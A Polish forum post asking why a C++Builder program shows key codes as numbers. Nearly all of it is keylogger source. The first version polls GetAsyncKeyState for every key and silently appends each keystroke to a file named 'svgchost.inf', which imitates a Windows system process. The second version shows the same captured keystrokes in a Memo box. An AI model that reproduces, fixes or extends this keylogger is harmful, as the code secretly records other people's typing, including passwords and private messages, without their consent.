Przed
- Kod: Zaznacz cały
short character;
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen("svgchost.inf","a+");
if(file==NULL)
{
return;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("\n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);
break;
case VK_OEM_7:
fputs("['\"]",file);
fclose(file);
break;
/*case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break;*/
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}
Po:
- Kod: Zaznacz cały
void __fastcall TForm1::Timer2Timer(TObject *Sender)
{
short character;
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
if((character>=39)&&(character<=64))
{
Memo1->Text = Memo1->Text + character;
break;
}
else if((character>64)&&(character<91))
{
character+=32;
Memo1->Text = Memo1->Text + character; Memo1->Text = Memo1->Text + character;
break;
}
else
{
switch(character)
{
case VK_SPACE:
Memo1->Text = Memo1->Text + " ";
break;
case VK_SHIFT:
Memo1->Text = Memo1->Text + "[SHIFT]";
break;
case VK_RETURN:
Memo1->Text = Memo1->Text + "[ENTER]";
break;
case VK_BACK:
Memo1->Text = Memo1->Text + "[BACKSPACE]";
break;
case VK_TAB:
Memo1->Text = Memo1->Text + "[TAB]";
break;
case VK_CONTROL:
Memo1->Text = Memo1->Text + "[CTRL]";
break;
case VK_DELETE:
Memo1->Text = Memo1->Text + "[DEL]";
break;
case VK_OEM_1:
Memo1->Text = Memo1->Text + ";:";
break;
case VK_OEM_2:
Memo1->Text = Memo1->Text + "/?";
break;
case VK_OEM_3:
Memo1->Text = Memo1->Text + "`~";
break;
case VK_OEM_4:
Memo1->Text = Memo1->Text + "[{";
break;
case VK_OEM_5:
Memo1->Text = Memo1->Text + "\|";
break;
case VK_OEM_6:
Memo1->Text = Memo1->Text + "]}";
break;
case VK_OEM_7:
Memo1->Text = Memo1->Text + "'";
break;
case VK_OEM_PLUS:
Memo1->Text = Memo1->Text + "+";
break;
case VK_OEM_COMMA:
Memo1->Text = Memo1->Text + ",";
break;
case VK_OEM_MINUS:
Memo1->Text = Memo1->Text + "-";
break;
case VK_OEM_PERIOD:
Memo1->Text = Memo1->Text + ".";
break;
case VK_NUMPAD0:
Memo1->Text = Memo1->Text + "0";
break;
case VK_NUMPAD1:
Memo1->Text = Memo1->Text + "1";
break;
case VK_NUMPAD2:
Memo1->Text = Memo1->Text + "2";
break;
case VK_NUMPAD3:
Memo1->Text = Memo1->Text + "3";
break;
case VK_NUMPAD4:
Memo1->Text = Memo1->Text + "4";
break;
case VK_NUMPAD5:
Memo1->Text = Memo1->Text + "5";
break;
case VK_NUMPAD6:
Memo1->Text = Memo1->Text + "6";
break;
case VK_NUMPAD7:
Memo1->Text = Memo1->Text + "7";
break;
case VK_NUMPAD8:
Memo1->Text = Memo1->Text + "8";
break;
case VK_NUMPAD9:
Memo1->Text = Memo1->Text + "9";
break;
case VK_CAPITAL:
Memo1->Text = Memo1->Text + "[CAPSLOCK]";
break;
// default:
// fclose(file);
break;
}
}
}
}
}
Dokladnie chodzi mi o ten kawałek (działający):
- Kod: Zaznacz cały
if((character>=39)&&(character<=64))
{
fputc(character,file); // To działa jak do pliku wrzucam a gdy napisze
fclose(file); //Memo1->Text = Memo1->Text + character;
break; // zamiast tego co jest to pokaze mi jakies cyfry np 1101.
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
I ten co nie działa a powinien:
Co tu jest nie tak ? Domyślam się że dodaje kod asci lub jakiś podobny kod zamiast zamieniać na liczbę bądzi literę. Te zdefiniowane spacje itp działają bez problemu. Pozdrawiam